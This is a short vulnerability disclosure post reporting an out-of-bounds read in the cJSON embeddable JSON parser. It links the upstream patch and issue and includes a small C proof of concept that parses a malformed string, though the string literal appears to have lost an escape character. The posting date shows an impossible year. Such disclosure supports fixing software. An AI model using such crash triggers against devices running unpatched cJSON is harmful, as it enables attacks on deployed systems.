CJSON buffer out of bound read

Posted on 30 November -0001

I would like to report a buffer out of bound read problem in cJSON, which
is a embeddable JSON parser, used (I imagine) in embedded devices, or even
bigger stuff like the ps4 (
http://doc.dl.playstation.net/doc/ps4-oss/cjson.html).

patch:
https://github.com/DaveGamble/cJSON/commit/94df772485c92866ca417d92137747b2e3b0a917

issue:
https://github.com/DaveGamble/cJSON/issues/30

Poc with the malformed string

#include <stdio.h>
#include <stdint.h>
#include <fcntl.h>
#include "cJSON.h"

static const char *my_json = ""000000000000000000";

int main(int argc, const char * argv[]) {
    cJSON * root = cJSON_Parse(my_json);
    char * rendered = cJSON_Print(root);
    printf("%s
", rendered);
    return 0;
}

thanks

Marco
